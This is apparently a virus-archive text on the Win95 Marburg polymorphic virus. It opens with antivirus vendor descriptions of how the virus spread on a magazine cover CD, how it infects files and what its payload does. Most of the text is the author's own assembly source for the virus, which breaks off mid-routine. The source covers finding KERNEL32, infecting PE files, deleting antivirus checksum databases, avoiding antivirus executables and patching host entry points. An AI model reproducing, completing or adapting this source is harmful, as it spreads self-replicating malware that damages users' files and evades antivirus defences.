edition. The infected files are on "CD Gamer 2" +included with the magazine, and are called: + + \UTILS\XEARTH\XEARTH.EXE + \UTILS\QPAINT\QPAINT.EXE + \VIDEO\SMACKPLW.EXE + +The SMACKPLW program is automatically executed if you watch any of the +preview videos from the CD. There are localized versions of the PC Gamer +magazine in circulation in addition to the UK edition. + +The Swedish edition has these files infected instead of the ones listed +above: + + \SHARE\3DJONG\M3DJONGG.EXE + \PATCHAR\QUAKE2\Q2-315~8.EXE + \SPEL\KKND2\DIRECTX\DDHELP.EXE + +The Slovenian edition has the same infected files as the UK edition. The +Italian July/August edition is clean. + +Marburg is a polymorphic Windows 95/98 virus which contains this text: + + [ Marburg ViRuS BioCoded by GriYo/29A ] + +Marburg infects Win32 EXE and SCR (screen saver) files, encrypting its own +code with variable polymorphic encryption layer. The polymorphic engine of +the virus is advanced. It encrypts the virus with 8, 16 and 32 bit key with +several different methods. The virus uses slow polymorphisism, which means +that it changes the decryptor of itself very slowly. + +Marburg deletes integrity databases of several anti-virus products. It also +avoids infecting many known anti-virus product executable files, including +any executable which has the letter "V" in its name. This is done to avoid +triggering the self-check of these programs. + +Marburg activates three months after initial infection. If an infected +application is executed exactly on the same hour as the inital infection, +the virus displays the standard Windows error icon (red cross in white +circle) in random positions all over the screen. + + + + + 4 - Description from AVP + ------------------------ + + This is a direct action (nonmemory resident) Windows95 polymorphic +virus. It affects PE EXE (Portable Executable) files which it searches in +current, Windows and System directories. Because of bugs the virus is not +able to replicate under Windows NT, so it is Windows95 specific virus. + +When an infected file is executed, the virus searches for KERNEL32 routines: +first for GetModuleHandleA and GetProcAddress, then for 22 more functions +(see the list below). While searching the virus uses method similar to +"Win32.Cabanas" virus: while infecting a file the virus scans file's +imported table for GetModuleHandleA and GetProcAddress, and saves these +addresses in virus code. If there are no these entries in table, the virus +scans KERNEL32 code. + +If the virus is not able to locate KERNEL32 functions, it immediately +returns to the host file. Otherwise it allocates a block of system memory, +copies its code to there (that's necessary to run virus polymorphic engine), +then searches for files and infects them. + +While infecting a file the virus writes its code to the end of file into the +last section, increasing its length beforehand. Before saving its code to +the file the virus encrypts it by polymorphic routine (the polymorphic +engine is very similar with one that was found in "Win95.HPS" virus). +Depending on file structure the virus also does some tricks to make virus +detection and disinfection procedures more complex: either replaces entry +point address in the PE header with its own one (majority of Win32 viruses +infect files in this way), or saves JMP_Virus instruction to the file entry +address and does not modifies it in the PE header (in same way as +"Win32.Cabanas" virus does), or writes to the entry point a polymorphic +junk routine that is followed by JMP_Virus instruction. + +Before infecting the virus deletes anti-virus data files: ANTI-VIR.DAT, +CHKLIST.MS, AVP.CRC, IVB.NTZ. While infecting the virus checks file names +and does not infect files that have 'V' letter in name as well as +anti-viruses PANDA, F-PROT, SCAN. + +Depending on the system date (when infected file is executed in three month +during the same hour as being infected) the virus displays at random +selected positions on the screen the standard Windows error icon - red cross +in white circle. + +The virus contains the text strings (the first block contains the list of +functions that virus is looking for): + + GetModuleHandleA + GetProcAddress + CreateFileA + CreateFileMappingA + MapViewOfFile + UnmapViewOfFile + CloseHandle + FindFirstFileA + FindNextFileA + FindClose + VirtualAlloc + GetWindowsDirectoryA + GetSystemDirectoryA + GetCurrentDirectoryA + SetFileAttributesA + SetFileTime + DeleteFileA + GetCurrentProcess + WriteProcessMemory + LoadLibraryA + GetSystemTime + GetDC + LoadIconA + DrawIcon + + [ Marburg ViRuS BioCoded by GriYo/29A ] + KERNEL32.dll USER32.dll + + + + + 5 - Description from DrSolomon + ------------------------------ + + Win32/Marburg + Polymorphic virus + Infects: Windows-95 executable files + (PE files - "Portable Executable") + + This highly polymorphic virus infects Windows-95 executable files +(PE files - "Portable Executable"). When the infected file is run it +searches for executable files to infect in the current directory, the +Windows directory and the System directory. The virus does not go +memory-resident - instead it is a direct action virus. The infected files +always grow in size. + +The sizes of infected files are changed by the the virus to be divisible by +101 (decimal). It does this to avoid infecting the same file twice. + +If the virus comes across integrity-checking databases (ANTI-VIR.DAT, +CHKLIST.MS, AVP.CRC, IVB.NTZ) in the above mentioned subdirectories it +deletes them. This is an attempt to avoid detection by certain anti-virus +products. + +The virus does not infect any files having letter "V" in the name, +"PAND*.*" , "F-PR*.*" , "SCAN*.*" (this is to avoid infecting certain +anti-virus programs). + +The payload of the virus triggers at a random date and displays an error +icon (a red cross on white circle) on the screen. + +Marburg has been seen in the wild, and was accidentally distributed on the +cover CD ROM of UK magazine PC Gamer in July 1998. The virus was written by +Griyo of the Spanish virus-writing gang 29A. + + + + + + 6 - Marburg source code + ----------------------- + + After some time lost into Win32 internals im happy to present my +first attempt at this plattaform. This is a Win95 highly polymorphic direct- +action PE infector. + +Greetings to all the people at IRC-Hispano #virus and #hack irc channels. +Special greetings goes this time to Jacky Qwerty, this virus wouldnt be +posible without his support. + +-------->8 cut here --------------------------------------------------------- + +;············································································ +; +; Marburg ViRuS - BioCoded by GriYo / 29A +; +;············································································ + + .386P + locals + jumps + .model flat,STDCALL + + ;Include the following files + + include Win32api.inc + include Useful.inc + include Mz.inc + include Pe.inc + + ;Some externals only used on 1st generation + + extrn GetModuleHandleA:NEAR + extrn GetProcAddress:NEAR + extrn ExitProcess:NEAR + + ;Some assumptions only valid for 1st generation + +mem_size equ mem_end-Mem_Base ;Size of virus in memory +inf_size equ inf_end-Mem_Base ;Size of virus in files +init_size equ init_end-Mem_Base ;Size of init code +base_default equ 00400000h ;Default base address + + ;Current in-build settings + +SIZE_PADDING equ 00000065h +DECRYPTOR_SIZE equ 00000800h +BUFFER_EP equ 00000100h + +;············································································ +;Fake host used for virus 1st generation +;············································································ + +_TEXT segment dword use32 public 'CODE' + +host_entry: ;This code will find the base address of KERNEL32.DLL and + ;the entry point for GetProcAddress and GetModuleHandle + ;functions + ;This part will not be included on future infections + ;coz its only needed for virus 1st generation + + ;Get KERNEL32 module handle + + push offset szKernel32 + call GetModuleHandleA + or eax,eax + jz exit1st_gen + mov dword ptr [a_Kernel32],eax + + ;Get address of GetModuleHandle function + + push offset szGetModuleH + push eax + call GetProcAddress + or eax,eax + jz exit1st_gen + mov dword ptr [a_GetModuleH],eax + + ;Get address of GetProcAddress function + + push offset szGetProcAddr + push dword ptr [a_Kernel32] + call GetProcAddress + or eax,eax + jz exit1st_gen + mov dword ptr [a_GetProcAddr],eax + + ;Execute virus + + mov ebx,base_default + xor ebp,ebp + call entry1st_gen + +exit1st_gen: ;Terminate virus launch process + + xor eax,eax + push eax + call ExitProcess + +_TEXT ends + +;············································································ + +_DATA segment dword use32 public 'DATA' +_DATA ends + +;············································································ + +_BSS segment dword use32 public 'BSS' +_BSS ends + +;············································································ +;Virus main body +;············································································ + +virseg segment dword use32 public 'Marburg' + +Mem_Base equ this byte + +virus_entry: ;Get delta offset and host base address + + call get_delta + +init_end equ this byte + +get_delta: pop ebp + mov ebx,ebp + sub ebp,offset get_delta + + ;Get host base address + ;Generate a SUB ebx,fix_baseaddr instruction + + db 81h,0EBh +fix_baseaddr dd 00000000h + + ;Prepare return address + + mov eax,ebx + + ;Generate ADD eax,rva_org_eip + + db 05h +rva_org_eip dd 00000000h + + ;Save host entry-point into stack, we will jump there + ;later using a RET + + push eax + +entry1st_gen: ;End of virus initialization, at this point: + ; + ; ss:[esp] - Host entry-point + ; ebx - Base address + ; ebp - Delta offset + ; + + ;Check if we know the GetModuleHandle entry point + ;If we dont know it try to get KERNEL32 base + ;address using our own code + + db 0B8h +rva_GetModuleH dd offset a_GetModuleH-base_default + or eax,eax + jz use_our_own_1 + + ;Yes, eax is the rva for the function address + + push dword ptr [eax+ebx] + pop dword ptr [ebp+a_GetModuleH] + + ;Now we know the address of GetModuleHandle, + ;so use it in order to get KERNEL32.dll + ;base address + ;If the function fails try to get KERNEL32 base + ;address using our own function + + lea eax,dword ptr [ebp+szKernel32] + push eax + + call dword ptr [ebp+a_GetModuleH] + or eax,eax + jnz got_kernel + +use_our_own_1: ;No, grrr, try to get it by ourself + + call my_getkernel + or eax,eax + jz err_virus_init + +got_kernel: ;Save KERNEL32 base address for l8r use + + mov dword ptr [ebp+a_Kernel32],eax + + ;Now check if we know the GetProcAddress entry point + + db 0B8h +rva_GetProcAddr dd offset a_GetProcAddr-base_default + or eax,eax + jz use_our_own_2 + + ;Yes, eax is the rva for the function address + + push dword ptr [eax+ebx] + pop eax + jmp short got_getprocaddr + +use_our_own_2: ;Use our own routine to get GetProcAddress entry point + + call my_GetProcAddr + +got_getprocaddr:;Save GetProcAddress entry point for l8r use + + mov dword ptr [ebp+a_GetProcAddr],eax + + ;Use GetProcAddress to get the rest of function addresses + + call get_functions + jecxz err_virus_init + + ;Allocate some memory for the virus + + push PAGE_EXECUTE_READWRITE + push MEM_RESERVE or MEM_COMMIT + push mem_size+inf_size + push 00000000h + call dword ptr [ebp+a_VirtualAlloc] + + ;Exit if cant find free memory... mmm... + + or eax,eax + jz err_virus_init + + ;Copy virus to allocated memory + + lea esi,dword ptr [ebp+Mem_Base] + mov edi,eax + mov ecx,mem_size + cld + rep movsb + + ;Jump to virus code into allocated memory + + add eax,mem_entry-Mem_Base + jmp eax + +;············································································ +;Entry point for resident code +;············································································ + +mem_entry: ;From this point we no longer care about host + ;base address + + call mem_delta +mem_delta: pop ebp + sub ebp,offset mem_delta + + ;Get current system time + + lea eax,dword ptr [ebp+my_system_time] + push eax + call dword ptr [ebp+a_GetSysTime] + + ;It's time to call our payload routine???? + + mov ax,word ptr [ebp+inf_month] + add ax,0003h + mov dx,000Ch + cmp ax,dx + jbe check_month + sub ax,dx +check_month: cmp ax,word ptr [ebp+time_month] + jne viral_sleep + mov ax,word ptr [ebp+inf_day] + cmp ax,word ptr [ebp+time_day] + jne viral_sleep + call payload + +viral_sleep: ;Do direct action stuff + ;The virus will infect files on \WINDOWS, \SYSTEM and + ;current directory + + ;Try to infect files in current directory + + lea eax,dword ptr [ebp+szWorkDir] + push eax + push MAX_PATH + call dword ptr [ebp+a_GetCurDir] + or eax,eax + jz try_windir + + call do_in_dir + +try_windir: ;Get windows directory + + push MAX_PATH + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_GetWindowsDir] + or eax,eax + jz try_sysdir + + ;Try to infect files in \WINDOWS directory + + call do_in_dir + +try_sysdir: ;Get system directory + + push MAX_PATH + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_GetSystemDir] + or eax,eax + jz err_virus_init + + ;Try to infect files in \SYSTEM directory + + call do_in_dir + +err_virus_init: ;We have to restore code at host entry-point? + + xor eax,eax + cmp dword ptr [ebp+insert_size],eax + je back2host + + ;Get current process + + call dword ptr [ebp+a_GetCurProc] + + ;Restore host entry-point code + ;Use WriteProcessMemory in order to prevent exceptions + ;while writing to protected areas + + pop edx + push edx + xor ecx,ecx + push ecx + push dword ptr [ebp+insert_size] + lea ecx,dword ptr [ebp+entry_code] + push ecx + push edx + push eax + call dword ptr [ebp+a_WriteProcMem] + +back2host: ;Back to host + + ret + +;············································································ +;Infect *.EXE and *.SCR files in specified path +;············································································ + +do_in_dir: ;The virus will not infect files in the root directory + ;directory + ; + ;Entry: + ; + ;eax - path string size + ; + ;Exit: + ; + ;None + ; + + ;Trying to infect files in root directory? + + cmp eax,00000004h + jb file_not_found + + ;Delete some AV checksum databases + + mov edx,eax + mov ecx,(end_AV_files-tbl_AV_files)/04h + lea esi,dword ptr [ebp+tbl_AV_files] +loop_del_AV: lodsd + push esi + add eax,ebp + mov esi,eax + call delete_file + pop esi + loop loop_del_AV + + ;Insert *.* into path + + lea esi,dword ptr [ebp+szSearch] + call copy_szMask + + ;FindFirstFile + + lea eax,dword ptr [ebp+my_FindData] + push eax + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_FindFirst] + cmp eax,INVALID_HANDLE_VALUE + je file_not_found + + ;Save the search handle + + mov dword ptr [ebp+Search_h],eax + +try_this_file: ;Check file size + + xor eax,eax + cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax + jne cant_open + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING) + jae cant_open + + ;Check if file is already infected + + mov ecx,SIZE_PADDING + xor edx,edx + div ecx + or edx,edx + jz cant_open + + ;Add filename to path + + cld + lea esi,dword ptr [ebp+szWorkDir] + mov edx,esi +do_path_1: lodsb + cmp al,"\" + jne avoid_path + mov edx,esi +avoid_path: or al,al + jne do_path_1 + lea esi,dword ptr [ebp+my_FindData.WFD_szFileName] + mov edi,edx +do_path_2: lodsb + cmp al,"a" + jb char_is_ok + sub al,("a"-"A") +char_is_ok: cmp al,"V" + je cant_open + stosb + or al,al + jnz do_path_2 + + ;The virus does not infect files with V character in their + ;names as well as the following programs: + + mov eax,dword ptr [edx] + + ;Panda antivirus + + cmp eax,"DNAP" + je cant_open + + ;Datafellows F-Prot + + cmp eax,"RP-F" + je cant_open + + ;McAfee Scan + + cmp eax,"NACS" + je cant_open + + ;Check file extension, allow *.EXE and *.SRC files + + mov eax,dword ptr [edi-00000005h] + cmp eax,"EXE." + je target_file + cmp eax,"RCS." + jne cant_open + +target_file: ;Open and map file + + call open_map_file + or eax,eax + jz cant_open + + ;Check if we can infect this file + + call check_victim + jecxz bad_host + +atach_2host: ;Infect file + + call infect_file + jnc search_end + jmp short cant_open + +bad_host: ;File cant be infected, skip it + + call unmap_close + +cant_open: ;Find next file + + lea eax,dword ptr [ebp+my_FindData] + push eax + push dword ptr [ebp+Search_h] + call dword ptr [ebp+a_FindNext] + cmp eax,FALSE + jne try_this_file + +search_end: ;Close Win32 find handle + + push dword ptr [ebp+Search_h] + call dword ptr [ebp+a_FindClose] + +file_not_found: ret + +;············································································ +;Copy search mask into work path +;············································································ + +copy_szMask: ;Entry: + ; + ;edx - Filename offset in path string + ;esi - Search mask + ; + ;Exit: + ; + ;None + ; + + cld + lea edi,dword ptr [ebp+edx+szWorkDir] + mov al,"\" + stosb +loop_copy_name: lodsb + stosb + or al,al + jnz loop_copy_name + ret + +;············································································ +;Delete file in work path +;············································································ + +delete_file: ;Entry: + ; + ;edx - Filename offset in path string + ;esi - File to delete + ; + ;Exit: + ; + ;None + ; + + ;Add filename to path + + push ecx + push edx + call copy_szMask + + ;Reset attributes so we can delete write protected files + + push FILE_ATTRIBUTE_NORMAL + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + + ;Delete file + + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_DeleteFile] + + pop edx + pop ecx + ret + +;············································································ +;Check if a given file can be infected +;············································································ + +check_victim: ;The host must be PE, fit allowed size and import at least + ;one function from Kernel32 + ; + ;Entry: + ; + ;a_Kernel32 - Base address for kernel32 + ;eax - Base address for memory mapped file + ; + ;Exit: + ; + ;ecx - Null if error + ;eax - Preserved + ; + + ;Save host base address + + push ebp + push eax + + ;Set structured exception handler + + call SEH_SetFrame01 + mov esp,dword ptr [esp+00000008h] +err_checkfile: xor ecx,ecx + jmp SEH_error01 +SEH_SetFrame01: xor edx,edx + push dword ptr fs:[edx] + mov dword ptr fs:[edx],esp + + ;Search for Kernel32 Import Module Descriptor, abort + ;infection if not found + + mov ebx,eax + + ;ebx - Base address of host in memory + + ;Check for MZ signature at base address + + cld + cmp word ptr [ebx],IMAGE_DOS_SIGNATURE + jne err_checkfile + + ;Check file address of relocation table + + cmp word ptr [ebx+DH_lfarlc],0040h + jb err_checkfile + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + lodsd + cmp eax,IMAGE_NT_SIGNATURE + jne err_checkfile + + ;Check machine field in IMAGE_FILE_HEADER + ;just allow i386 PE files + + cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 + jne err_checkfile + + ;Now check the characteristics, look if file + ;is an executable + + mov ax,word ptr [esi+FH_Characteristics] + test ax,IMAGE_FILE_EXECUTABLE_IMAGE + jz err_checkfile + + ;Avoid DLL's + + test ax,IMAGE_FILE_DLL + jnz err_checkfile + + ;Get pointer to imports raw data + + mov edx,dword ptr [esi+OH_DataDirectory. \ + DE_Import. \ + DD_VirtualAddress+ \ + IMAGE_SIZEOF_FILE_HEADER] + + call RVA2RAW + jecxz err_checkfile + mov eax,ecx + +next_imd_img: ;Search for kernel32 through the array of imported + ;module descriptors + + lea edi,dword ptr [ebp+offset szKernel32] + mov esi,dword ptr [eax+ID_Name] + + ;Exit if the RVA to dll name doesnt exist + or esi,esi + jz err_checkfile + + ;Sub the delta offset + + sub esi,edx + + ;Get absolute address of dll name + + add esi,ebx + + ;Compare names + + mov ecx,00000008h + push eax + +dll_loop: ;Get character from name into imports + + lodsb + + ;Check if character is in lowercase + + cmp al,"a" + jb check_char + + ;Convert character to uppercase + + sub al,("a"-"A") + +check_char: ;Compare characters with our KERNEL32 string + + scasb + jne bad_dll + + loop dll_loop + +verify_ok: ;Name matched, get import module descriptor + + pop edi + + ;Mutate RVAs + + call mutate_rvas + + ;Avoid files with IMAGE_SCN_MEM_SHARED in its + ;last section attributes + + call get_last_sh + test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED + jnz err_checkfile + + ;Set ecx != NULL (success flag) + + xor ecx,ecx + not ecx + +SEH_error01: ;Remove structured exception handler + + xor edx,edx + pop dword ptr fs:[edx] + pop edx + + ;Error, restore base address + + pop eax + pop ebp + ret + +bad_dll: ;Go to next imported module descriptor + + pop eax + add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR + jmp short next_imd_img + + +;············································································ +;Find the place where PE saves some useful information +;············································································ + +mutate_rvas: ;Generate a copy of the virus into a buffer + ;This copy will contain some RVAs already + ;loaded (GetModuleHandle, GetProcAddress or Kernel32 + ;ID_ForwarderChain field) + ; + ;Entry: + ; + ;ebx - Base address for file + ;edx - Section delta offset + ;edi - Kernel32 Import Module Descriptor + ; + ;Exit: + ; + ;RVA's loaded into virus body (NULL if function not found) + ; + + ;Copy virus to infection buffer + + push edi + lea esi,dword ptr [ebp+Mem_Base] + lea edi,dword ptr [esi+mem_size] + mov ecx,inf_size-DECRYPTOR_SIZE + cld + rep movsb + pop edi + + ;Save rva to ID_ForwarderChain field + + lea eax,dword ptr [edi+ID_ForwarderChain] + sub eax,ebx + add eax,edx + mov dword ptr [ebp+rva_kernel32+mem_size],eax + + ;Check if file is binded + + mov eax,dword ptr [ebp+a_Kernel32] + mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew] + add esi,eax + add esi,NT_FileHeader.FH_TimeDateStamp + lodsd + mov esi,dword ptr [edi+ID_FirstThunk] + sub esi,edx + add esi,ebx + cmp eax,dword ptr [edi+ID_TimeDateStamp] + je binded_file + + ;esi - Import Address Table for KERNEL32 + + ;Save RVA for GetModuleHandle + + push esi + lea edi,dword ptr [ebp+szGetModuleH] + call find_by_name + mov dword ptr [ebp+rva_GetModuleH+mem_size],eax + + ;Save RVA for GetProcAddress + + pop esi + lea edi,dword ptr [ebp+szGetProcAddr] + call find_by_name + mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax + + ret + +binded_file: ;esi - Import Address Table for KERNEL32 + + ;Binded GetModuleHandle + + push esi + mov edi,dword ptr [ebp+a_GetModuleH] + call find_by_address + mov dword ptr [ebp+rva_GetModuleH+mem_size],eax + + ;Binded GetProcAddress + + pop esi + mov edi,dword ptr [ebp+a_GetProcAddr] + call find_by_address + mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax + + ret + +;············································································ +;Get RVA of an API function in a binded file +;············································································ + +find_by_address:; + ;Entry: + ; + ;edx - Delta offset for last section + ;esi - Import Address Table for KERNEL32 + ;edi - Function entry point + ; + ;Exit: + ; + ;eax - RVA of function address (NULL if not found) + ; + +search_thunk: ;Check if this is the storage address + + lodsd + or eax,eax + jz err_by_address + cmp eax,edi + jne search_thunk + + ;Calculate the offset of that thunk dword into file + + lea eax,dword ptr [esi-00000004h] + sub eax,ebx + add eax,edx + ret + +err_by_address: xor eax,eax + ret + +;············································································ +;Find RVA of a function imported by name +;············································································ + +find_by_name: ; + ;Entry: + ; + ;edx - Delta offset for last section + ;esi - Import Address Table for KERNEL32 + ;edi - Function name + ; + ;Exit: + ; + ;eax - RVA of function address (NULL if not found) + ; + + ;Search for function name into IMAGE_IMPORT_BY_NAME + ;structure pointed by every dword in the thunk data array + +loop_by_name: ;Get address of IMAGE_IMPORT_BY_NAME structure + + lodsd + or eax,eax + jz err_by_name + + ;Get pointer to function name + + push esi + push edi + sub eax,edx + lea esi,dword ptr [eax+ebx+00000002h] + + ;Compare strings + +name_by_name: lodsb + or al,al + jz ok_by_name + scasb + je name_by_name + + ;Go to next entry into Import Address Table + + pop edi + pop esi + jmp loop_by_name + +ok_by_name: pop edi + pop esi + lea eax,dword ptr [esi-00000004h] + sub eax,ebx + add eax,edx +err_by_name: ret + +;············································································ +;Infection and mutation +;············································································ + +infect_file: ; + ;Entry: + ; + ;My_FindData - Win32 FindFile structure filled with data + ; about file to infect + ;eax - Base address of memory mapped image + ; + ;Exit: + ; + ;None + ; + + ;Get last section header + + mov ebx,eax + call get_last_sh + + ;ebx - Host base address + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + + ;This will help us later for calculating host base address + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [edi+SH_PointerToRawData] + add eax,init_size + mov dword ptr [ebp+fix_baseaddr+mem_size],eax + + ;Copy original code at entry point into our buffer + + mov edx,dword ptr [esi+OH_AddressOfEntryPoint] + mov dword ptr [ebp+rva_org_eip+mem_size],edx + call RVA2RAW + mov esi,ecx + lea edi,dword ptr [ebp+entry_code+mem_size] + mov ecx,BUFFER_EP + rep movsb + + ;Free memory mapped file + + mov eax,ebx + call unmap_close + + ;Add virus size to file size and re-map it + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + mov dword ptr [ebp+original_size],eax + add eax,inf_size + mov ecx,SIZE_PADDING + xor edx,edx + div ecx + inc eax + mul ecx + mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax + call open_map_file + or eax,eax + jnz done_re_open + stc + ret + +done_re_open: ;ebx - host base address all along the following code + + mov ebx,eax + + ;Initialize poly engine register table + ;We are going to insert some garbage code at host + ;entry-point, followed by a JMP to polymorphic + ;decryptor + ;This routine will also initialize random number + ;generator + + call init_poly + + ;Check for relocations over entry-point code + + call get_last_sh + mov edx,dword ptr [esi+OH_DataDirectory. \ + DE_BaseReloc. \ + DD_VirtualAddress] + + ;Lovely file, no relocations, so we cant generate + ;lots of polymorphic code at host entry-point + + or edx,edx + jz lovely_file + + call RVA2RAW + mov edi,esi + mov esi,ecx + + ;ebx - Host base address + ;ecx - Pointer to RAW data or NULL if error + ;edx - Section delta offset + ;esi - Pointer to section RAWDATA + ;edi - Pointer to IMAGE_OPTIONAL_HEADER + + ;Check relocations over host entry-point code + + call do_reloc_work + + ;We have space for inserting some garbage code? + + cmp eax,00000005h + jb fuxoring_file + + ;Another lovely file, eh? + + cmp eax,BUFFER_EP + jb ugly_file + +lovely_file: ;We reach this code for 3 posible reasons: + ; + ; 1) When the target file have no relocations or... + ; 2) All the relocations are behind the entry-point or... + ; 3) We have lots space from entry-point to 1st reloc + + ;Save number of bytes to restore at host entry-point + + mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP + + ;Get RAW of entry-point + + call get_last_sh + mov edx,dword ptr [esi+OH_AddressOfEntryPoint] + call RVA2RAW + mov edi,ecx + + ;Generate a piece of polymorphic code at host entry-point + + push ebx + push edi + call gen_garbage + pop eax + sub eax,edi + pop ebx + + ;Insert a jump to virus code at entry point + + jmp short insert_jump + +ugly_file: ;There are no relocations over first five bytes of + ;code at host entry-point + ;So we can insert a JUMP to virus polymorphic decryptor + + ;Save size of code to generate + + mov dword ptr [ebp+insert_size+mem_size],00000005h + + ;Where to place the JUMP + + mov edx,dword ptr [edi+OH_AddressOfEntryPoint] + call RVA2RAW + mov edi,ecx + xor eax,eax + + ;Insert a jump to virus code at entry point + +insert_jump: push eax + mov al,0E9h + stosb + push edi + call get_last_sh + mov eax,dword ptr [ebp+original_size] + add eax,poly_decryptor-Mem_Base + sub eax,dword ptr [edi+SH_PointerToRawData] + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [esi+OH_AddressOfEntryPoint] + sub eax,00000005h + pop edi + pop edx + add eax,edx + stosd + + ;Execution continues on next routine + +;············································································ +;Attach virus to file +;············································································ + +back2infection: ;We fall here after the entry-point stuff + ;Complete infection and do polymorphic encryption + + ;Save current system time inside virus body + + lea eax,dword ptr [ebp+inf_time+mem_size] + push eax + call dword ptr [ebp+a_GetSysTime] + + ;Generate polymorphic encryption + + push ebx + call mutate + pop ebx + + ;Get pointer to last section + + call get_last_sh + + ;ebx - Host base address + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + + ;Get new SizeOfRawData and VirtualSize + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + add eax,mem_size-inf_size + sub eax,dword ptr [edi+SH_PointerToRawData] + mov edx,eax + cmp eax,dword ptr [edi+SH_VirtualSize] + jbe ok_VirtualSize + mov dword ptr [edi+SH_VirtualSize],eax +ok_VirtualSize: mov eax,edx + xor edx,edx + mov ecx,dword ptr [esi+OH_FileAlignment] + div ecx + inc eax + mul ecx + mov dword ptr [edi+SH_SizeOfRawData],eax + + ;Set section characteristics + + or dword ptr [edi+SH_Characteristics], \ + IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + + ;Update OH_SizeOfImage + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + mov edx,dword ptr [esi+OH_SizeOfImage] + cmp eax,edx + jae done_image_s + lea eax,dword ptr [edx+mem_size] +done_image_s: xor edx,edx + mov ecx,dword ptr [esi+OH_SectionAlignment] + div ecx + inc eax + mul ecx + mov dword ptr [esi+OH_SizeOfImage],eax + + ;Write virus into memory mapped file + + mov ecx,inf_size + lea esi,dword ptr [ebp+Mem_Base+mem_size] + mov edi,ebx + add edi,dword ptr [ebp+original_size] + rep movsb + + ;Free memory mapped file + + mov eax,ebx + call unmap_close + + ;Exit, file is infected + + clc + ret + +;············································································ +;Get RAW of entry +;············································································ + +;············································································ +;Change the entry-point field in file header +;············································································ + +fuxoring_file: ;Well, after checking relocations for this file we + ;found that there is a relocation over the first + ;five bytes of host entry-point code + + ;Our buffer is ZERO bytes coz no code needs to be + ;restored on host execution + + xor eax,eax + mov dword ptr [ebp+insert_size+mem_size],eax + + ;Get the RVA for virus entry-point + + call get_last_sh + mov eax,dword ptr [ebp+original_size] + add eax,poly_decryptor-Mem_Base + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [edi+SH_PointerToRawData] + + ;Overwrite OH_AddressOfEntryPoint with the + ;virus entry point + + mov dword ptr [esi+OH_AddressOfEntryPoint],eax + jmp back2infection + +;············································································ +;Get pointer to last section header +;············································································ + +get_last_sh: ; + ;Entry: + ; + ;ebx - Host base address + ; + ;Exit: + ; + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + ; + + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + cld + lodsd + movzx ecx,word ptr [esi+FH_NumberOfSections] + dec ecx + mov eax,IMAGE_SIZEOF_SECTION_HEADER + mul ecx + movzx edx,word ptr [esi+FH_SizeOfOptionalHeader] + add esi,IMAGE_SIZEOF_FILE_HEADER + add eax,edx + add eax,esi + mov edi,eax + ret + +;············································································ +;Convert RVA to RAW +;············································································ + +RVA2RAW: ; + ;Entry: + ; + ;ebx - Host base address + ;edx - RVA to convert + ; + ;Exit: + ; + ;ecx - Pointer to RAW data or NULL if error + ;edx - Section delta offset + ;esi - Pointer to IMAGE_OPTIONAL_HEADER + ;edi - Pointer to section header + ; + + cld + mov dword ptr [ebp+search_raw],edx + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + lodsd + movzx ecx,word ptr [esi+FH_NumberOfSections] + jecxz err_RVA2RAW + movzx edi,word ptr [esi+FH_SizeOfOptionalHeader] + add esi,IMAGE_SIZEOF_FILE_HEADER + add edi,esi + + ;Get the IMAGE_SECTION_HEADER that contains RVA + ; + ;At this point: + ; + ;ebx - File base address + ;esi - Pointer to IMAGE_OPTIONAL_HEADER + ;edi - Pointer to first section header + ;ecx - Number of sections + +s_img_section: + ;Check if address of imports directory is inside this + ;section + + mov eax,dword ptr [ebp+search_raw] + mov edx,dword ptr [edi+SH_VirtualAddress] + sub eax,edx + cmp eax,dword ptr [edi+SH_VirtualSize] + jb section_ok + +out_of_section: ;Go to next section header + + add edi,IMAGE_SIZEOF_SECTION_HEADER + loop s_img_section +err_RVA2RAW: ret + +section_ok: ;Get raw + + mov ecx,dword ptr [edi+SH_PointerToRawData] + sub edx,ecx + add ecx,eax + add ecx,ebx + ret + +;············································································ +;Do needed relocation corrections over code at host entry-point +;············································································ + +do_reloc_work: ;Entry: + ; + ;ebx - host base address + ;esi - IMAGE_BASE_RELOCATION + ;edi - IMAGE_OPTIONAL_HEADER + ; + ;Exit: + ; + ;ecx - Space free of relocations at entry-point + ; + + ;Get IBR_VirtualAddress + + cld + lodsd + mov edx,eax + + ;Get IBR_SizeOfBlock + + lodsd + or eax,eax + jnz continue_reloc + + ;We have reached the last relocation and all of them + ;seem to refer to virtual addresses behind the host + ;entry-point, so we can generate lots of polymorphic + ;code there + + xor ecx,ecx + not ecx + ret + +continue_reloc: ;Get number of relocations in this block + + sub eax,IMAGE_SIZEOF_BASE_RELOCATION + shr eax,01h + mov ecx,eax + +rblock_loop: ;Get 